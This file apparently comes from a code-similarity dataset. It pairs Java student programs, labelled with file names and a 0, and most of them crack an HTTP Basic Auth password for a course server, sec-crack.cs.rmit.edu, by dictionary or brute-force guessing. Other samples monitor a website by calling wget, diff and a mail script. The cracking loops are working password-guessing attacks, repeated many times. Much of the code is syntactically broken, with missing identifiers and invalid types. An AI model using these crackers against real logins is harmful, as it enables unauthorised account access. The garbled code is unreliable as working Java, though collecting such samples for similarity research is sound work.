finally { if (stream != null) stream.close(); } return ; } public static void main(String[] args) { HttpRequestClient client = null; try { client = new HttpRequestClient(args[0]); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { if (client != null) { System.out.println( "Request processing time (milliseconds): " + (client.getEnd().getTime() - client.getStart().getTime())); System.out.println( "Request content: \n" + client.getContent()); } } } public HttpURLConnection getHttpConnection() { return httpConnection; } public URL getServerURL() { return serverURL; } public void setHttpConnection(java.net.HttpURLConnection connection) { httpConnection = connection; } public void setServerURL(URL url) { serverURL = url; } public StringBuffer getContent() { return content; } public Timestamp getEnd() { return end; } public Timestamp getStart() { return ; } public void setContent(StringBuffer buffer) { content = buffer; } public void setEnd(Timestamp timestamp) { end = timestamp; } public void setStart(Timestamp timestamp) { start = timestamp; } public getMillis() { return getEnd().getTime() - getStart().getTime(); } public int getCode() { return code; } public void setCode(int i) { code = i; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
170.java
161.java
0
package java.httputils; import java.io.BufferedReader; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; import java.net.MalformedURLException; import java.sql.Timestamp; public class Dictionary extends BruteForce { protected String wordFile; public Dictionary() { super(); } public static void main(String[] args) { Dictionary dictionary = new Dictionary(); if (args.length < 3) { System.out.println(dictionary.printUsage()); } else { dictionary.setURL(args[0]); dictionary.setUserName(args[1]); dictionary.setWordFile(args[2]); if (args.length > 3) { dictionary.setFileName(args[3]); } dictionary.process(); System.out.println(dictionary.printResult()); System.exit(1); } } public void process() { attempts = 0; String password = ""; setStart(new Timestamp(System.currentTimeMillis())); BufferedReader input = null; try { FileReader file = new FileReader(getWordFile()); input = new BufferedReader(file); } catch (FileNotFoundException x) { System.err.println("File not found: " + getWordFile()); System.exit(2); } try { while ((password = input.readLine()) != null) { try { attempts++; BasicAuthHttpRequest req = new BasicAuthHttpRequest( getURL(), getUserName(), password); setPassword(password); setEnd(new Timestamp(System.currentTimeMillis())); setContent(req.getContent().toString()); if (getFileName() != null && getFileName().length() > 0) { createReport(); } return; } catch (MalformedURLException e) { e.printStackTrace(); return; } catch (IOException e) { } } } catch (IOException x) { x.printStackTrace(); } setEnd(new Timestamp(System.currentTimeMillis())); } public String printUsage() { StringBuffer s = new StringBuffer(); s.append("** BruteForce proper usage **\n\n"); s.append( "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\n\n"); return s.toString(); } public String getWordFile() { return wordFile; } public void setWordFile(String string) { wordFile = string; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
199.java
161.java
0
import java.*; import java.io.*; import java.util.*; public class Dictionary { public String[] passwds; public int passwdNum; public static void main(String[] args) throws IOException { Dictionary dic=new Dictionary(); dic.doDictionary(); System.exit(1); } void doDictionary() throws IOException { Runtime rt=Runtime.getRuntime(); passwds=new String[32768]; passwdNum=0; time1=new Date().getTime(); try { File f = new File ("words"); FileReader fin = new FileReader (f); BufferedReader buf = new BufferedReader(fin); passwds[0]="00"; System.out.println(" loading words...."); { passwds[passwdNum]=buf.readLine(); passwdNum++; }while(passwds[passwdNum-1]!=null); System.out.println("Finish loading words."); } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); } catch (IOException exc) { System.out.println ("IOException 1"); } catch (NullPointerException exc) { System.out.println ("NullPointerException"); } System.out.println(" cracking...."); for(int i=0;i<passwdNum;i++) { try { Process p=rt.exec("lynx -auth=:"+passwds[i]+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println("Finish cracking."); System.out.println(ln); System.out.println("Password is "+passwds[i]); break; } } catch (FileNotFoundException exc) { i--; } catch (IOException exc) { i--; } catch (NullPointerException exc) { i--; } } time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
110.java
161.java
0
import java.io.BufferedReader; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.PrintStream; import java.net.MalformedURLException; import java.net.URL; public class Watchdog { static final String LOGON_SITE = WatchdogPropertyHelper.getProperty("logonSite"); static final String PREVIOUS_FILE_NAME = WatchdogPropertyHelper.getProperty("previousFileName"); static final String CURRENT_FILE_NAME = WatchdogPropertyHelper.getProperty("currentFileName"); static final String TIME_IN_MILLS = WatchdogPropertyHelper.getProperty("timeInMilliseconds"); static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer"); static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient"); static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender"); static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader"); private static final String COMMAND = WatchdogPropertyHelper.getProperty("unixCommand"); public static void main(String[] args) { System.out.println(" Monitoring the Web : "+ LOGON_SITE); System.out.println("The output of this is written the file: "+ PREVIOUS_FILE_NAME); System.out.println("The webpage monitored every: "+ TIME_IN_MILLS+ " milliseconds"); Watchdog watchdog = new Watchdog(); watchdog.accessWebPage(LOGON_SITE); } public void accessWebPage( String urlString ) { BufferedReader reader = null; BufferedReader readerNew = null; String data = null; FileOutputStream out = null; FileOutputStream outNew = null; PrintStream p = null; PrintStream pNew = null; URL url = null; while (true) { try { out = new FileOutputStream(PREVIOUS_FILE_NAME); p = new PrintStream( out ); url = new URL(urlString); reader = new BufferedReader (new InputStreamReader(url.openStream())); while (( data = reader.readLine()) != null ) { p.println(data); } System.out.println("Completed writing the output the file: "+ PREVIOUS_FILE_NAME); } catch (MalformedURLException mfue) { mfue.printStackTrace(); } catch (IOException ioe) { ioe.printStackTrace(); } finally { p.close(); } try { System.out.println("Sleeping for : "+ TIME_IN_MILLS+ " milliseconds"); Thread.sleep(Integer.valueOf(TIME_IN_MILLS).intValue()); outNew = new FileOutputStream(CURRENT_FILE_NAME); pNew = new PrintStream(outNew); readerNew = new BufferedReader (new InputStreamReader(url.openStream())); while (( data = readerNew.readLine()) != null ) { pNew.println(data); } System.out.println("Completed writing the output the file: "+ PREVIOUS_FILE_NAME); } catch (MalformedURLException mfue) { mfue.printStackTrace(); } catch (IOException ioe) { ioe.printStackTrace(); } catch (InterruptedException e) { e.printStackTrace(); } finally { pNew.close(); } InputStream inputStream = null; int count = 0; System.out.println(" comparing the the current content with the previous content "); System.out.println("Executing the command: " + COMMAND); try { Process process = Runtime.getRuntime().exec(COMMAND); process.waitFor(); inputStream = process.getInputStream(); } catch (Exception e) { System.out.println("Error Executing the command: " + COMMAND+ "\n " + e.toString()); } try { count = inputStream.available(); if (count > 0) { byte[] buffer = new byte[count]; inputStream.read(buffer); String stdout = new String(buffer); System.out.println("The following changes has occured in the web "); System.out.println(stdout); Mailsend.send(SMTP_SERVER, RECIPIENT_EMAIL, SENDER_EMAIL, MESSAGE_HEADER, stdout); } else { System.out.println(" has been change the site"); } } catch (Exception g) { System.out.println("Exception: " + g.toString()); } } } public Watchdog() { } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
147.java
161.java
0
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String[] args) { new CrackAttempt(); } } class CrackAttempt { public CrackAttempt() { final int MAX_LENGTH = 3; boolean auth = false; Date = new Date(); String file = "/usr/share/lib/dict/words"; String word; char[] password = new char[MAX_LENGTH]; String resource = "http://sec-crack.cs.rmit.edu./SEC/2/"; while (!auth) { BufferedReader in = null; try { in = new BufferedReader(new FileReader(file)); while ((word = in.readLine()) != null && !auth) { try { if (word.length() <= MAX_LENGTH) { password = word.toCharArray(); Authenticator.setDefault(new CrackAuth(password)); URL url = new URL(resource); HttpURLConnection conn = (HttpURLConnection)url.openConnection(); conn.setRequestMethod("HEAD"); if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) { System.out.println("cracked with " + new String(password)); auth = true; } } } catch (Exception e) { System.out.println(" was exception: " + e.getMessage()); } } } catch (FileNotFoundException fnfe) { System.out.println("File Not Found"); } catch (IOException ioe) { System.out.println("IOException"); } catch(Exception e) { e.printStackTrace(); } finally { try { in.close(); } catch (Exception e) {;} } } if (!auth) { System.out.println("Unable determine password"); } else { time = (new Date()).getTime() - start.getTime(); System.out.println("it took " + String.valueOf(time) + " milliseconds crack the password"); } } } class CrackAuth extends Authenticator { char[] password; public CrackAuth(char[] password) { this.password = password; } protected PasswordAuthentication getPasswordAuthentication() { String user = ""; return new PasswordAuthentication(user, password); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
091.java
161.java
0
import java.io.*; import java.net.*; import java.misc.*; public class BruteForce { private static char increment(char pw) { if(pw=='Z') { return 'a'; } else if(pw=='z') { return 'A'; } else { return (char) (pw+1); } } public static void main (String args[]) throws IOException { final int maxLength = 3; final String username = ""; final URL pageURL = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); String password=""; char passwd[]; BASE64Encoder encoder = new BASE64Encoder(); boolean notFound = true; HttpURLConnection conn; for(int pwl=1;pwl<=maxLength&&notFound;pwl++) { passwd = new char[pwl]; for(int init=0;init<pwl;init++) { passwd[init]='A'; } for(int i=0;i<Math.pow(52,pwl);i++) { password=new String(passwd); conn = (HttpURLConnection) pageURL.openConnection(); conn.setRequestProperty("Authorization", " "+encoder.encode((username+":"+password).getBytes())); if((conn.getResponseCode())==HttpURLConnection.HTTP_OK) { notFound=false; break; } for(int j=pwl-1;j>=0;j--) { if((passwd[j]=increment(passwd[j]))!='A') { break; } } } } if(notFound) { System.out.println(" valid password found."); } else { System.out.println("Found valid password: \""+password+"\""); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
180.java
161.java
0
import java.io.*; import java.net.*; import java.util.*; public class Dictionary { public static void main (String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println("The password is " + password); } public static String getPassword(double startTime) { String password=""; int requests=0; try { FileReader fRead = new FileReader("/usr/share/lib/dict/words"); BufferedReader buf = new BufferedReader(fRead); password=buf.readLine(); while (password != null) { if (password.length()<=3) { requests++; if (testPassword(password, startTime, requests)) return password; } password = buf.readLine(); } } catch (IOException ioe) { } return password; } private static boolean testPassword(String password, double startTime, int requests) { try { URL url=new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection connection; String userPassword = ":" + password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); try { connection = (HttpURLConnection) url.openConnection(); connection.setRequestProperty("Authorization", " " + encoding); int status=connection.getResponseCode(); System.out.println(password + requests); if (status==200) { System.out.println("It took " + getTime(startTime) + " milliseconds find the password."); System.out.println(" were " + requests + " requests ."); return true; } return false; } catch (IOException ioe) { System.out.print(ioe); return false; } } catch (IOException MalformedURLException) { System.out.print("Invalid URL"); return false; } } private static double getTime(double startTime) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double endTime = now.getTime(); return endTime-startTime; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
053.java
161.java
0
import java.net.*; import java.io.*; import java.misc.*; public class Dictionary { public static void main (String args[]) { String file = "/usr/share/lib/dict/words"; FileReader fRead; BufferedReader buf; try { fRead = new FileReader(file); buf = new BufferedReader(fRead); String Password = ""; int i=0; while( (Password = buf.readLine()) != null) { i++; String a = myurl("http://sec-crack.cs.rmit.edu./SEC/2", "", Password, i); } } catch(FileNotFoundException e) { System.out.println("File not found"); } catch(IOException ioe) { System.out.println("IO Error " + ioe); } } public static String encode (String source) { BASE64Encoder enc = new source.misc.BASE64Encoder(); return(enc.encode(source.getBytes())); } public static String myurl (String url, String Name, String Password, int val ) { String thisLine; String retVal; URL u; URLConnection uc; retVal = ""; try { u = new URL(url); try { uc = u.openConnection(); if (Name != null) { uc.setRequestProperty("Authorization", " " + encode(Name + ":" + Password)); } InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader(content)); String line; while ((line = in.readLine()) != null) { retVal += line; System.out.println(line); System.out.println("password="+Password+";number:"+num); System.exit(0); } } catch (Exception e) { ; } } catch (MalformedURLException e) { return(url + " is not a parseable URL"); } return retVal; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
005.java
161.java
0
import java.io.*; import java.util.*; import java.*; import java.net.*; public class WatchDog { static Process p = null; static Process qproc = null; static BufferedReader bf = null; static StringTokenizer tok = null; static String Path = null; static String str = null; static String urlStr=null; static boolean changed = false; static File indexfile = new File("index.html"); static File tmpfile = new File("tmpindex.html"); static File mdfile = new File("md5file.txt"); static File tmpmdfile = new File("tmpmd5file.txt"); static PrintWriter mailwriter = null; public static void main(String[] args) { urlStr = "http://www.cs.rmit.edu./"; try { mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false))); getLatest(urlStr); parseFile(); mailwriter.read(); if(changed) { System.out.println("Sending Mail"); p = Runtime.getRuntime().exec("./mailscript"); p.waitFor(); } else System.out.println(" mail sent"); } catch (IOException ioe) { System.out.println("IOException"); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println("Interrupted Exception"); intex.printStackTrace(); } } static void getLatest(String urlStr) { URL url = null; try { url = new URL(urlStr); } catch (MalformedURLException mfurl) { System.out.println("Malformed URL"); mfurl.printStackTrace(); } try { mailwriter.println(); p = Runtime.getRuntime().exec("/usr//pwd"); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); Path=bf.readLine(); if (indexfile.exists()) { mailwriter.println("File with name 'index.html' found in directory."); mailwriter.println("Renaming existing 'index.html' 'tmpindex.html..."); p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile); p.waitFor(); p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile); mailwriter.println(); mailwriter.println("File with name 'md5file.txt' found in directory."); mailwriter.print("Renaming existing 'md5file.txt' 'tmpmd5file.txt..."); mailwriter.println("."); mailwriter.println(); } mailwriter.println("Downloading current version of site - " + urlStr); p = Runtime.getRuntime().exec("/usr/local//wget "+url); p.waitFor(); if (!tmpfile.exists()) { mailwriter.println("File - " + urlStr + "index.html saved disk for the first time."); } } catch (IOException ioe) { System.out.println("IOException"); ioe.printStackTrace(); } catch (IndexOutOfBoundsException iobe) { System.out.println("Index Out Of Bounds Exception"); iobe.printStackTrace(); } catch (Exception e) { System.out.println("Exception"); e.printStackTrace(); } } static void parseFile() { Vector imgVect = new Vector(); try { p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); while((str=bf.readLine())!=null) { bf = new StringTokenizer(str, "\"", false); while(bf.hasMoreTokens()) { str=bf.nextToken(); if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0)) imgVect.addElement(str); } } }catch (IOException ioe) { System.out.println("IOException"); ioe.printStackTrace(); } catch (Exception e) { System.out.println("Exception"); e.printStackTrace(); } mailwriter.println("Creating file with md5sums of the webpage and images..."); md5Create(imgVect); } static void md5Create(Vector imgVect) { String tmpString = null; Vector imgNames = new Vector(); try { PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); pr.println(bf.readLine()); for(int i=0; i<imgVect.size();i++) { imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i); imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i); p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i)); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); pr.println(bf.readLine()); rmImgFile(Path+"/"+(String)imgNames.elementAt(i)); } pr.get(); } catch (IOException ioe) { System.out.println("IOException"); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println("Interrupted Exception"); intex.printStackTrace(); } if (tmpmdfile.exists()) compVersions((imgVect.size())+1); } static void compVersions(int numlines) { int tmp = 0; int x = 0; String[] md5A = new String[numlines]; Vector tmpmd5V = new Vector(); String[] tmpmd5A = null; StringTokenizer stoken = null; String mdImgName = null; String mdImgVal = null; String tmpImgName = null; String tmpImgVal = null; try { bf = new BufferedReader(new FileReader(mdfile)); while((str = bf.readLine()) != null) { md5A[tmp]=str; tmp++; } bf= new BufferedReader(new FileReader(tmpmdfile)); tmp=0; while ((str = bf.readLine()) !=null) { tmpmd5V.addElement(str); tmp++; } tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]); if (tmpmd5A[0].compareTo(md5A[0]) != 0) { mailwriter.println("---The file index.html has changed.---"); mailwriter.println("-Diff of old and new -"); changed=true; mailwriter.println(); p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html"); p.waitFor(); bf = new BufferedReader(new InputStreamReader(p.getInputStream())); while ((str = bf.readLine()) != null) mailwriter.println(str); } else { mailwriter.println("The file index.html hasn't changed."); mailwriter.println(); } mailwriter.println(); mailwriter.println("Changes Images"); mailwriter.println("-----------------"); for (tmp=1; tmp<md5A.length; tmp++) { stoken = new StringTokenizer(md5A[tmp]); mdImgVal = stoken.nextToken(); mdImgName = stoken.nextToken(); for (x=1; x<tmpmd5A.length; x++) { stoken = new StringTokenizer(tmpmd5A[x]); tmpImgVal = stoken.nextToken(); tmpImgName = stoken.nextToken(); if (mdImgName.compareTo(tmpImgName) == 0) { if(mdImgVal.compareTo(tmpImgVal) == 0) { break; } else { mailwriter.println("The image "+mdImgName+" has changed."); changed=true; break; } } if (x == ((tmpmd5A.length)-1)) { mailwriter.println("The image "+mdImgName+" is new this "); changed=true; } } } for (tmp=1; tmp<tmpmd5A.length; tmp++) { stoken = new StringTokenizer(tmpmd5A[tmp]); tmpImgVal = stoken.nextToken(); tmpImgName = stoken.nextToken(); for (x=1; x<md5A.length; x++) { stoken = new StringTokenizer(md5A[x]); mdImgVal = stoken.nextToken(); mdImgName = stoken.nextToken(); if (tmpImgName.compareTo(mdImgName) == 0) { break; } if (x == ((md5A.length)-1)) { mailwriter.println("The image "+tmpImgName+" is longer the "); changed=true; } } } } catch(IOException ioe) {System.out.println("IOException"); ioe.printStackTrace(); } catch(InterruptedException iex) {System.out.println("Interrupted Exception"); iex.printStackTrace(); } } static Object getFullPath(String fname) { if(fname.charAt(0)== '/') fname=urlStr+fname; else if(fname.charAt(0) != 'h') fname=urlStr+'/'+fname; getImgFile(fname); return (Object)fname; } static void getImgFile(String fullPath) { try { qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath); qproc.waitFor(); } catch (IOException ioe) { System.out.println("IOException"); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println("Interrupted Exception"); intex.printStackTrace(); } } static void rmImgFile(String delpath) { try { qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath); qproc.waitFor(); } catch (IOException ioe) { System.out.println("IOException"); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println("Interrupted Exception"); intex.printStackTrace(); } } static Object getImgNames(String prsName) { String str = new StringTokenizer(prsName, "/", false); while(bgf.hasMoreTokens()) { str=bgf.nextToken(); if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0)) prsName=str; } return (Object)prsName; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
255.java
161.java
0
